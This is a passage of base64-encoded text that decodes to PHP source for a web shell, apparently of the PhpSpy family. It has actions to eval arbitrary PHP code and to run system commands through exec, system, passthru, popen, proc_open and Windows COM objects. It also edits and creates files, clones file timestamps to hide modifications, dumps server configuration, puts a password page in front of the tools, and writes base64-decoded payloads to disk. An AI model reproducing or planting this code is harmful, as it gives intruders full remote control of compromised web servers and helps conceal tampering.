J25hbWUnPT4nc3RhcnQnLCd2YWx1ZSc9PidTdGFydCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7DQoNCglwKCc8L3A+Jyk7DQoNCglmb3JtZm9vdCgpOw0KDQp9Ly9lbmQgc3FsIGJhY2t1cA0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdldmFsJykgew0KDQoJJHBocGNvZGUgPSB0cmltKCRwaHBjb2RlKTsNCg0KCWlmKCRwaHBjb2RlKXsNCg0KCQlpZiAoIXByZWdfbWF0Y2goJyM8XD8jc2knLCAkcGhwY29kZSkpIHsNCg0KCQkJJHBocGNvZGUgPSAiPD9waHBcblxueyRwaHBjb2RlfVxuXG4/PiI7DQoNCgkJfQ0KDQoJCWV2YWwoIj8iLiI+JHBocGNvZGU8PyIpOw0KDQoJfQ0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V2YWwgUEhQIENvZGUnKSk7DQoNCgltYWtlaGlkZSgnYWN0aW9uJywnZXZhbCcpOw0KDQoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J1BIUCBDb2RlJywnbmFtZSc9PidwaHBjb2RlJywgJ3ZhbHVlJz0+JHBocGNvZGUpKTsNCg0KCXAoJzxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuNG5nZWwubmV0LnRyL3BocHNweS9wbHVnaW4vIiB0YXJnZXQ9Il9ibGFuayI+R2V0IHBsdWdpbnM8L2E+PC9wPicpOw0KDQoJZm9ybWZvb3RlcigpOw0KDQp9Ly9lbmQgZXZhbA0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdlZGl0ZmlsZScpIHsNCg0KCWlmKGZpbGVfZXhpc3RzKCRvcGZpbGUpKSB7DQoNCgkJJGZwPUBmb3Blbigkb3BmaWxlLCdyJyk7DQoNCgkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRvcGZpbGUpKTsNCg0KCQlAZmNsb3NlKCRmcCk7DQoNCgkJJGNvbnRlbnRzPWh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnRzKTsNCg0KCX0NCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDcmVhdGUgLyBFZGl0IEZpbGUnKSk7DQoNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KDQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KDQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IEZpbGUgKGltcG9ydCBuZXcgZmlsZSBuYW1lIGFuZCBuZXcgZmlsZSknLCduYW1lJz0+J2VkaXRmaWxlbmFtZScsJ3ZhbHVlJz0+JG9wZmlsZSwnbmV3bGluZSc9PjEpKTsNCg0KCW1ha2V0ZXh0KGFycmF5KCd0aXRsZSc9PidGaWxlIENvbnRlbnQnLCduYW1lJz0+J2ZpbGVjb250ZW50JywndmFsdWUnPT4kY29udGVudHMpKTsNCg0KCWZvcm1mb290ZXIoKTsNCg0KfS8vZW5kIGVkaXRmaWxlDQoNCg0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ25ld3RpbWUnKSB7DQoNCgkkb3BmaWxlbXRpbWUgPSBAZmlsZW10aW1lKCRvcGZpbGUpOw0KDQoJLy8kdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7DQoNCgkkY2FjaGVtb250aCA9IGFycmF5KCdKYW51YXJ5Jz0+MSwnRmVicnVhcnknPT4yLCdNYXJjaCc9PjMsJ0FwcmlsJz0+NCwnTWF5Jz0+NSwnSnVuZSc9PjYsJ0p1bHknPT43LCdBdWd1c3QnPT44LCdTZXB0ZW1iZXInPT45LCdPY3RvYmVyJz0+MTAsJ05vdmVtYmVyJz0+MTEsJ0RlY2VtYmVyJz0+MTIpOw0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0Nsb25lIGZpbGUgd2FzIGxhc3QgbW9kaWZpZWQgdGltZScpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0FsdGVyIGZpbGUnLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1JlZmVyZW5jZSBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J3RhcmZpbGUnLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOw0KDQoJZm9ybWZvb3RlcigpOw0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NldCBsYXN0IG1vZGlmaWVkJykpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCg0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCg0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ3VycmVudCBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7DQoNCglwKCc8cD5JbnN0ZWFkICZyYXF1bzsnKTsNCg0KCXAoJ3llYXI6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neWVhcicsJ3ZhbHVlJz0+ZGF0ZSgnWScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjQpKTsNCg0KCXAoJ21vbnRoOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21vbnRoJywndmFsdWUnPT5kYXRlKCdtJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KDQoJcCgnZGF5OicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RheScsJ3ZhbHVlJz0+ZGF0ZSgnZCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCg0KCXAoJ2hvdXI6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4naG91cicsJ3ZhbHVlJz0+ZGF0ZSgnSCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCg0KCXAoJ21pbnV0ZTonKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidtaW51dGUnLCd2YWx1ZSc9PmRhdGUoJ2knLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoNCglwKCdzZWNvbmQ6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2Vjb25kJywndmFsdWUnPT5kYXRlKCdzJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KDQoJcCgnPC9wPicpOw0KDQoJZm9ybWZvb3RlcigpOw0KDQp9Ly9lbmQgbmV3dGltZQ0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdzaGVsbCcpIHsNCg0KCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7DQoNCgkJaWYoJHByb2dyYW0gJiYgJHBhcmFtZXRlcikgew0KDQoJCQkkc2hlbGw9IG5ldyBDT00oJ1NoZWxsLkFwcGxpY2F0aW9uJyk7DQoNCgkJCSRhID0gJHNoZWxsLT5TaGVsbEV4ZWN1dGUoJHByb2dyYW0sJHBhcmFtZXRlcik7DQoNCgkJCW0oJ1Byb2dyYW0gcnVuIGhhcyAnLighJGEgPyAnc3VjY2VzcycgOiAnZmFpbCcpKTsNCg0KCQl9DQoNCgkJISRwcm9ncmFtICYmICRwcm9ncmFtID0gJ2M6XHdpbmRvd3Ncc3lzdGVtMzJcY21kLmV4ZSc7DQoNCgkJISRwYXJhbWV0ZXIgJiYgJHBhcmFtZXRlciA9ICcvYyBuZXQgc3RhcnQgPiAnLlNBX1JPT1QuJ2xvZy50eHQnOw0KDQoJCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFeGVjdXRlIFByb2dyYW0nKSk7DQoNCgkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7DQoNCgkJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQcm9ncmFtJywnbmFtZSc9Pidwcm9ncmFtJywndmFsdWUnPT4kcHJvZ3JhbSwnbmV3bGluZSc9PjEpKTsNCg0KCQlwKCc8cD4nKTsNCg0KCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BhcmFtZXRlcicsJ25hbWUnPT4ncGFyYW1ldGVyJywndmFsdWUnPT4kcGFyYW1ldGVyKSk7DQoNCgkJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOw0KDQoJCXAoJzwvcD4nKTsNCg0KCQlmb3JtZm9vdCgpOw0KDQoJfQ0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgQ29tbWFuZCcpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzaGVsbCcpOw0KDQoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsNCg0KCQkkZXhlY2Z1bmNkYiA9IGFycmF5KCdwaHBmdW5jJz0+J3BocGZ1bmMnLCd3c2NyaXB0Jz0+J3dzY3JpcHQnLCdwcm9jX29wZW4nPT4ncHJvY19vcGVuJyk7DQoNCgkJbWFrZXNlbGVjdChhcnJheSgndGl0bGUnPT4nVXNlOicsJ25hbWUnPT4nZXhlY2Z1bmMnLCdvcHRpb24nPT4kZXhlY2Z1bmNkYiwnc2VsZWN0ZWQnPT4kZXhlY2Z1bmMsJ25ld2xpbmUnPT4xKSk7DQoNCgl9DQoNCglwKCc8cD4nKTsNCg0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ29tbWFuZCcsJ25hbWUnPT4nY29tbWFuZCcsJ3ZhbHVlJz0+JGNvbW1hbmQpKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcsJ3R5cGUnPT4nc3VibWl0JywndmFsdWUnPT4nRXhlY3V0ZScpKTsNCg0KCXAoJzwvcD4nKTsNCg0KCWZvcm1mb290KCk7DQoNCg0KDQoJaWYgKCRjb21tYW5kKSB7DQoNCgkJcCgnPGhyIHdpZHRoPSIxMDAlIiBub3NoYWRlIC8+PHByZT4nKTsNCg0KCQlpZiAoJGV4ZWNmdW5jPT0nd3NjcmlwdCcgJiYgSVNfV0lOICYmIElTX0NPTSkgew0KDQoJCQkkd3NoID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOw0KDQoJCQkkZXhlYyA9ICR3c2gtPmV4ZWMoJ2NtZC5leGUgL2MgJy4kY29tbWFuZCk7DQoNCgkJCSRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7DQoNCgkJCSRzdHJvdXRwdXQgPSAkc3Rkb3V0LT5SZWFkQWxsKCk7DQoNCgkJCWVjaG8gJHN0cm91dHB1dDsNCg0KCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0ncHJvY19vcGVuJyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7DQoNCgkJCSRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KA0KDQoJCQkgICAwID0+IGFycmF5KCdwaXBlJywgJ3InKSwNCg0KCQkJICAgMSA9PiBhcnJheSgncGlwZScsICd3JyksDQoNCgkJCSAgIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpDQoNCgkJCSk7DQoNCgkJCSRwcm9jZXNzID0gcHJvY19vcGVuKCRfU0VSVkVSWydDT01TUEVDJ10sICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsNCg0KCQkJaWYgKGlzX3Jlc291cmNlKCRwcm9jZXNzKSkgew0KDQoJCQkJZndyaXRlKCRwaXBlc1swXSwgJGNvbW1hbmQuIlxyXG4iKTsNCg0KCQkJCWZ3cml0ZSgkcGlwZXNbMF0sICJleGl0XHJcbiIpOw0KDQoJCQkJZmNsb3NlKCRwaXBlc1swXSk7DQoNCgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzFdKSkgew0KDQoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzFdLCAxMDI0KTsNCg0KCQkJCX0NCg0KCQkJCWZjbG9zZSgkcGlwZXNbMV0pOw0KDQoJCQkJd2hpbGUgKCFmZW9mKCRwaXBlc1syXSkpIHsNCg0KCQkJCQllY2hvIGZnZXRzKCRwaXBlc1syXSwgMTAyNCk7DQoNCgkJCQl9DQoNCgkJCQlmY2xvc2UoJHBpcGVzWzJdKTsNCg0KCQkJCXByb2NfY2xvc2UoJHByb2Nlc3MpOw0KDQoJCQl9DQoNCgkJfSBlbHNlIHsNCg0KCQkJZWNobyhleGVjdXRlKCRjb21tYW5kKSk7DQoNCgkJfQ0KDQoJCXAoJzwvcHJlPicpOw0KDQoJfQ0KDQp9Ly9lbmQgc2hlbGwNCg0KDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAncGhwZW52Jykgew0KDQoJJHVwc2l6ZT1nZXRjZmcoJ2ZpbGVfdXBsb2FkcycpID8gZ2V0Y2ZnKCd1cGxvYWRfbWF4X2ZpbGVzaXplJykgOiAnTm90IGFsbG93ZWQnOw0KDQoJJGFkbWlubWFpbD1pc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pID8gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddIDogZ2V0Y2ZnKCdzZW5kbWFpbF9mcm9tJyk7DQoNCgkhJGRpc19mdW5jICYmICRkaXNfZnVuYyA9ICdObyc7CQ0KDQoJJGluZm8gPSBhcnJheSgNCg0KCQkxID0+IGFycmF5KCdTZXJ2ZXIgVGltZScsZGF0ZSgnWS9tL2QgaDppOnMnLCR0aW1lc3RhbXApKSwNCg0KCQkyID0+IGFycmF5KCdTZXJ2ZXIgRG9tYWluJywkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSksDQoNCgkJMyA9PiBhcnJheSgnU2VydmVyIElQJyxnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSksDQoNCgkJNCA9PiBhcnJheSgnU2VydmVyIE9TJyxQSFBfT1MpLA0KDQoJCTUgPT4gYXJyYXkoJ1NlcnZlciBPUyBDaGFyc2V0JywkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSksDQoNCgkJNiA9PiBhcnJheSgnU2VydmVyIFNvZnR3YXJlJywkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLA0KDQoJCTcgPT4gYXJyYXkoJ1NlcnZlciBXZWIgUG9ydCcsJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pLA0KDQoJCTggPT4gYXJyYXkoJ1BIUCBydW4gbW9kZScsc3RydG91cHBlcihwaHBfc2FwaV9uYW1lKCkpKSwNCg0KCQk5ID0+IGFycmF5KCdUaGUgZmlsZSBwYXRoJyxfX0ZJTEVfXyksDQoNCg0KDQoJCTEwID0+IGFycmF5KCdQSFAgVmVyc2lvbicsUEhQX1ZFUlNJT04pLA0KDQoJCTExID0+IGFycmF5KCdQSFBJTkZPJywoSVNfUEhQSU5GTyA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKFwncGhwaW5mb1wnKTsiPlllczwvYT4nIDogJ05vJykpLA0KDQoJCTEyID0+IGFycmF5KCdTYWZlIE1vZGUnLGdldGNmZygnc2FmZV9tb2RlJykpLA0KDQoJCTEzID0+IGFycmF5KCdBZG1pbmlzdHJhdG9yJywkYWRtaW5tYWlsKSwNCg0KCQkxNCA9PiBhcnJheSgnYWxsb3dfdXJsX2ZvcGVuJyxnZXRjZmcoJ2FsbG93X3VybF9mb3BlbicpKSwNCg0KCQkxNSA9PiBhcnJheSgnZW5hYmxlX2RsJyxnZXRjZmcoJ2VuYWJsZV9kbCcpKSwNCg0KCQkxNiA9PiBhcnJheSgnZGlzcGxheV9lcnJvcnMnLGdldGNmZygnZGlzcGxheV9lcnJvcnMnKSksDQoNCgkJMTcgPT4gYXJyYXkoJ3JlZ2lzdGVyX2dsb2JhbHMnLGdldGNmZygncmVnaXN0ZXJfZ2xvYmFscycpKSwNCg0KCQkxOCA9PiBhcnJheSgnbWFnaWNfcXVvdGVzX2dwYycsZ2V0Y2ZnKCdtYWdpY19xdW90ZXNfZ3BjJykpLA0KDQoJCTE5ID0+IGFycmF5KCdtZW1vcnlfbGltaXQnLGdldGNmZygnbWVtb3J5X2xpbWl0JykpLA0KDQoJCTIwID0+IGFycmF5KCdwb3N0X21heF9zaXplJyxnZXRjZmcoJ3Bvc3RfbWF4X3NpemUnKSksDQoNCgkJMjEgPT4gYXJyYXkoJ3VwbG9hZF9tYXhfZmlsZXNpemUnLCR1cHNpemUpLA0KDQoJCTIyID0+IGFycmF5KCdtYXhfZXhlY3V0aW9uX3RpbWUnLGdldGNmZygnbWF4X2V4ZWN1dGlvbl90aW1lJykuJyBzZWNvbmQocyknKSwNCg0KCQkyMyA9PiBhcnJheSgnZGlzYWJsZV9mdW5jdGlvbnMnLCRkaXNfZnVuYyksDQoNCgkpOw0KDQoNCg0KCWlmKCRwaHB2YXJuYW1lKSB7DQoNCgkJbSgkcGhwdmFybmFtZSAuJyA6ICcuZ2V0Y2ZnKCRwaHB2YXJuYW1lKSk7DQoNCgl9DQoNCg0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NlcnZlciBlbnZpcm9ubWVudCcpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdwaHBlbnYnKTsNCg0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGxlYXNlIGlucHV0IFBIUCBjb25maWd1cmF0aW9uIHBhcmFtZXRlcihlZzptYWdpY19xdW90ZXNfZ3BjKScsJ25hbWUnPT4ncGhwdmFybmFtZScsJ3ZhbHVlJz0+JHBocHZhcm5hbWUsJ25ld2xpbmUnPT4xKSk7DQoNCglmb3JtZm9vdGVyKCk7DQoNCg0KDQoJJGhwID0gYXJyYXkoMD0+ICdTZXJ2ZXInLCAxPT4gJ1BIUCcpOw0KDQoJZm9yKCRhPTA7JGE8MjskYSsrKSB7DQoNCgkJcCgnPGgyPicuJGhwWyRhXS4nICZyYXF1bzs8L2gyPicpOw0KDQoJCXAoJzx1bCBjbGFzcz0iaW5mbyI+Jyk7DQoNCgkJaWYgKCRhPT0wKSB7DQoNCgkJCWZvcigkaT0xOyRpPD05OyRpKyspIHsNCg0KCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsNCg0KCQkJfQ0KDQoJCX0gZWxzZWlmICgkYSA9PSAxKSB7DQoNCgkJCWZvcigkaT0xMDskaTw9MjM7JGkrKykgew0KDQoJCQkJcCgnPGxpPjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicpOw0KDQoJCQl9DQoNCgkJfQ0KDQoJCXAoJzwvdWw+Jyk7DQoNCgl9DQoNCn0vL2VuZCBwaHBlbnYNCg0KDQoNCmVsc2Ugew0KDQoJbSgnVW5kZWZpbmVkIEFjdGlvbicpOw0KDQp9DQoNCg0KDQo/Pg0KDQo8L3RkPjwvdHI+PC90YWJsZT4NCg0KPGRpdiBzdHlsZT0icGFkZGluZzoxMHB4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNmZmY7Ym9yZGVyLXRvcDoxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNlZWU7Ij4NCg0KCTxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPjw/cGhwIGRlYnVnaW5mbygpO29iX2VuZF9mbHVzaCgpOz8+PC9zcGFuPg0KDQoJQ29weXJpZ2h0IChDKSAyMDA0LTIwMDggDQoNCjwvZGl2Pg0KDQo8L2JvZHk+DQoNCjwvaHRtbD4NCg0KDQoNCjw/cGhwDQoNCg0KDQovKj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQo/Pz8NCg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8NCg0KDQoNCmZ1bmN0aW9uIG0oJG1zZykgew0KDQoJZWNobyAnPGRpdiBzdHlsZT0iYmFja2dyb3VuZDojZjFmMWYxO2JvcmRlcjoxcHggc29saWQgI2RkZDtwYWRkaW5nOjE1cHg7Zm9udDoxNHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7Ij4nOw0KDQoJZWNobyAkbXNnOw0KDQoJZWNobyAnPC9kaXY+JzsNCg0KfQ0KDQpmdW5jdGlvbiBzY29va2llKCRrZXksICR2YWx1ZSwgJGxpZmUgPSAwLCAkcHJlZml4ID0gMSkgew0KDQoJZ2xvYmFsICRhZG1pbiwgJHRpbWVzdGFtcCwgJF9TRVJWRVI7DQoNCgkka2V5ID0gKCRwcmVmaXggPyAkYWRtaW5bJ2Nvb2tpZXByZSddIDogJycpLiRrZXk7DQoNCgkkbGlmZSA9ICRsaWZlID8gJGxpZmUgOiAkYWRtaW5bJ2Nvb2tpZWxpZmUnXTsNCg0KCSR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gMSA6IDA7DQoNCglzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGltZXN0YW1wKyRsaWZlLCAkYWRtaW5bJ2Nvb2tpZXBhdGgnXSwgJGFkbWluWydjb29raWVkb21haW4nXSwgJHVzZXBvcnQpOw0KDQp9CQ0KDQpmdW5jdGlvbiBtdWx0aSgkbnVtLCAkcGVycGFnZSwgJGN1cnBhZ2UsICR0YWJsZW5hbWUpIHsNCg0KCSRtdWx0aXBhZ2UgPSAnJzsNCg0KCWlmKCRudW0gPiAkcGVycGFnZSkgew0KDQoJCSRwYWdlID0gMTA7DQoNCgkJJG9mZnNldCA9IDU7DQoNCgkJJHBhZ2VzID0gQGNlaWwoJG51bSAvICRwZXJwYWdlKTsNCg0KCQlpZigkcGFnZSA+ICRwYWdlcykgew0KDQoJCQkkZnJvbSA9IDE7DQoNCgkJCSR0byA9ICRwYWdlczsNCg0KCQl9IGVsc2Ugew0KDQoJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJG9mZnNldDsNCg0KCQkJJHRvID0gJGN1cnBhZ2UgKyAkcGFnZSAtICRvZmZzZXQgLSAxOw0KDQoJCQlpZigkZnJvbSA8IDEpIHsNCg0KCQkJCSR0byA9ICRjdXJwYWdlICsgMSAtICRmcm9tOw0KDQoJCQkJJGZyb20gPSAxOw0KDQoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsNCg0KCQkJCQkkdG8gPSAkcGFnZTsNCg0KCQkJCX0NCg0KCQkJfSBlbHNlaWYoJHRvID4gJHBhZ2VzKSB7DQoNCgkJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJHBhZ2VzICsgJHRvOw0KDQoJCQkJJHRvID0gJHBhZ2VzOw0KDQoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsNCg0KCQkJCQkkZnJvbSA9ICRwYWdlcyAtICRwYWdlICsgMTsNCg0KCQkJCX0NCg0KCQkJfQ0KDQoJCX0NCg0KCQkkbXVsdGlwYWdlID0gKCRjdXJwYWdlIC0gJG9mZnNldCA+IDEgJiYgJHBhZ2VzID4gJHBhZ2UgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsIDEpOyI+Rmlyc3Q8L2E+ICcgOiAnJykuKCRjdXJwYWdlID4gMSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2UgLSAxKS4nKTsiPlByZXY8L2E+ICcgOiAnJyk7DQoNCgkJZm9yKCRpID0gJGZyb207ICRpIDw9ICR0bzsgJGkrKykgew0KDQoJCQkkbXVsdGlwYWdlIC49ICRpID09ICRjdXJwYWdlID8gJGkuJyAnIDogJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRpLicpOyI+WycuJGkuJ108L2E+ICc7DQoNCgkJfQ0KDQoJCSRtdWx0aXBhZ2UgLj0gKCRjdXJwYWdlIDwgJHBhZ2VzID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSArIDEpLicpOyI+TmV4dDwvYT4nIDogJycpLigkdG8gPCAkcGFnZXMgPyAnIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRwYWdlcy4nKTsiPkxhc3Q8L2E+JyA6ICcnKTsNCg0KCQkkbXVsdGlwYWdlID0gJG11bHRpcGFnZSA/ICc8cD5QYWdlczogJy4kbXVsdGlwYWdlLic8L3A+JyA6ICcnOw0KDQoJfQ0KDQoJcmV0dXJuICRtdWx0aXBhZ2U7DQoNCn0NCg0KLy8gPz8/Pw0KDQpmdW5jdGlvbiBsb2dpbnBhZ2UoKSB7DQoNCj8+DQoNCgk8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KDQoJaW5wdXQge2ZvbnQ6MTFweCBWZXJkYW5hO0JBQ0tHUk9VTkQ6ICNGRkZGRkY7aGVpZ2h0OiAxOHB4O2JvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7fQ0KDQoJPC9zdHlsZT4NCg0KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPg0KDQoJPHNwYW4gc3R5bGU9ImZvbnQ6MTFweCBWZXJkYW5hOyI+UGFzc3dvcmQ6IDwvc3Bhbj48aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiBzaXplPSIyMCI+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkb2luZyIgdmFsdWU9ImxvZ2luIj4NCg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+DQoNCgk8L2Zvcm0+DQoNCjw/cGhwDQoNCglleGl0Ow0KDQp9Ly9lbmQgbG9naW5wYWdlKCkNCg0KDQoNCmZ1bmN0aW9uIGV4ZWN1dGUoJGNmZSkgew0KDQoJJHJlcyA9ICcnOw0KDQoJaWYgKCRjZmUpIHsNCg0KCQlpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KDQoJCQlAZXhlYygkY2ZlLCRyZXMpOw0KDQoJCQkkcmVzID0gam9pbigiXG4iLCRyZXMpOw0KDQoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7DQoNCgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCg0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoNCgkJCUBvYl9zdGFydCgpOw0KDQoJCQlAc3lzdGVtKCRjZmUpOw0KDQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KDQoJCQlAb2JfZW5kX2NsZWFuKCk7DQoNCgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7DQoNCgkJCUBvYl9zdGFydCgpOw0KDQoJCQlAcGFzc3RocnUoJGNmZSk7DQoNCgkJCSRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQoNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCg0KCQl9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgew0KDQoJCQkkcmVzID0gJyc7DQoNCgkJCXdoaWxlKCFAZmVvZigkZikpIHsNCg0KCQkJCSRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyANCg0KCQkJfQ0KDQoJCQlAcGNsb3NlKCRmKTsNCg0KCQl9DQoNCgl9DQoNCglyZXR1cm4gJHJlczsNCg0KfQ0KDQpmdW5jdGlvbiB3aGljaCgkcHIpIHsNCg0KCSRwYXRoID0gZXhlY3V0ZSgid2hpY2ggJHByIik7DQoNCglyZXR1cm4gKCRwYXRoID8gJHBhdGggOiAkcHIpOyANCg0KfQ0KDQoNCg0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KXsNCg0KCWlmKCRmcD1AZm9wZW4oJGZuYW1lLCd3JykpIHsNCg0KCQlAZnB1dHMoJGZwLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQoNCgkJQGZjbG9zZSgkZnApOw0KDQoJfQ0KDQp9DQoNCg0KDQovLyA/Pz8/Pz8NCg0KZnVuY3Rpb24gZGVidWdpbmZvKCkgew0KDQoJZ2xvYmFsICRzdGFydHRpbWU7DQoNCgkkbXR